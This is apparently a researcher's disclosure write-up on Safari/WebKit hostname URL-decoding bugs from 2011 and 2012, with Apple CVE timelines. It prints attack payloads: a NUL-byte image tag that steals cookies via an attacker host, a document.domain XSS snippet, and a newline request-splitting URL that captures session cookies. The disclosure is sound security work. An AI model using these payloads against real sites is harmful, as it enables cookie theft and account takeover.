alf.nu / @steike

Webkit URLs

A tragedy in seven parts

For the longest time, Safari has been internally URL-decoding parts of the URL before reporting them back to JS land:

This caused some issues with client-side security measures (they would disagree with the client more than the usual amount), but it wasn't world-endingly terrible.

Now fast forward to the release of OS X 10.7 "Lion", which included a rewrite of WebKit and some of the networking stack, applying the same logic to hostnames.

Part 0x00

<img src=http://attacker.website%00.victim.website/>

With that URL suddenly valid, the host name now had a NUL in it, which was passed on to the

The end result being that any site site could steal any other site's cookies with a single image tag, and the victim site would not see any indication that this was happening – not as much as a DNS lookup (non-SSL for now, but keep reading)

2011-09-09: %00 vector reported to Apple

2011-09-17: More vectors reported (see part 3)

2011-10-12: iOS 5 and OS X 10.7.2 released with a partial fix for CVE-2011-3246? "An issue existed in CFNetwork's handling of HTTP cookies. When accessing a maliciously crafted HTTP or HTTPS URL, CFNetwork could incorrectly send the cookies for a domain to a server outside that domain."

Part 0x00 mark 2

The patch for CVE-2011-3246 worked by changing CFNetwork's cookie handling to no longer return any cookies for domain names containing null bytes.

This means the exact exploit above no longer delivered any cookies. However, Safari still made the request, and the response was interpreted as a subdomain of victim.website for document.domain purposes. If any part of the victim site set document.domain, you could run something like this and get a full XSS:

<!-- Served from http://victim.website%00.attacker.website/evil.html -->
<script>
  document.domain = 'victim.website';
</script>
<iframe src="http://victim.website/subpage-that-lowers/"
  onload="this.contentWindow.eval('.....')">

Part 0x20

A second vector allowed much the same exploit as CVE-2011-3246, because of a quirk of the OS X resolver:

mac# perl -e 'print unpack "H*", gethostbyname "127.0.0.1";'
7f000001
mac# perl -e 'print unpack "H*", gethostbyname "127.0.0.1 .unrelated.com";'
7f000001
mac#
linux# perl -e 'print unpack "H*", gethostbyname "127.0.0.1"; '
7f000001
linux# perl -e 'print unpack "H*", gethostbyname "127.0.0.1 .unrelated.com"; '
linux#

Thus a URL like http://127.0.0.1%20.victim.website/ would still ship the user's cookies off into the void.

As an extra bonus, 0x7f000001%20.victim.website gives the same result with no dots in the host name – this turns out to be very useful if the site uses HTTPS.

2011-10-13: Apple notified previous fix was incomplete

2011-11-10: Patched in iOS 5.0.1 (CVE-2011-3441? "An issue existed in libinfo's handling of DNS name lookups. When resolving a maliciously crafted hostname, libinfo could return an incorrect result")

2012-02-01: Patched in OS X 10.7.3

Part 0x0A

Besides the DNS lookup and cookie fetch, the host names also ends up in the HTTP request. For a URL like http://127.0.0.1%0a.example.com/, Safari would send an invalid HTTP request:

GET / HTTP/1.1
Host: 127.0.0.1
.example.com
Connection: keep-alive
Cookie: foo=1
...

Since there's limited room in the host name, a good way to exploit this is to send two POSTs to

http://x%0aContent-Length%3a99%0a%0a.victim.website/1

... resulting in network traffic like this:

                                                                                           
POST /1 HTTP/1.1                                   |- First client request   |- First request,     
Host: x                                            |                         |  as seen by server  
Content-Length: 99                                 |                         |                      
                                                   |                                               
User-Agent: blah                                   |                         :                     
Cookie: session=alice123                           |                         :                            
Content-Length: 150                                |                         :                     
                                                                             :                     
⁞                                                  :                         :                     
⁞  (newlines for padding, since we don't know      :                                                                          
⁞  the exact length of the cookie header)          :                                                                      
⁞                                                  :                                               
                                                   :                                               
POST /save-content HTTP/1.1                        :                         |- Second request,      
Content-Type: multipart/form-data; boundary=foo    :                         |  as seen by server                             
Cookie: session=mallory123                         :                         |                             
Host: victim.website                               :                         |                       
                                                   :                             
--foo                                              :                         :        
Content-Disposition: form-data; name="content"     :                         :                                                 
                                                   :                         :   
POST /1 HTTP/1.1                                   |- Second client request  :                                           
Host: x                                            |                         :          
Content-Length: 99                                 |                         :                     
                                                   |                         :   
User-Agent: blah                                   |                         :                   
Cookie: session=alice123                           |                         :                           
Content-Length: 42                                 |                         :
                                                                             :
--foo--                                            :                         :          
⁞                                                  :                         :    
⁞  (more padding here)                             :                                                   
⁞                                                  :                              

This attack can be detected by garbage in the SNI field, but most servers ignore that.

2011-09-17: Reported to Apple that %20 and %0A in combination allowed stealing cookies over SSL via request splitting.

2012-03-07: iOS 5.1 released, fix for CVE-2012-0641?: "An issue existed in CFNetwork's handling of malformed URLs. When accessing a maliciously crafted URL, CFNetwork could send unexpected request headers."

Complaints to @steike or @steike.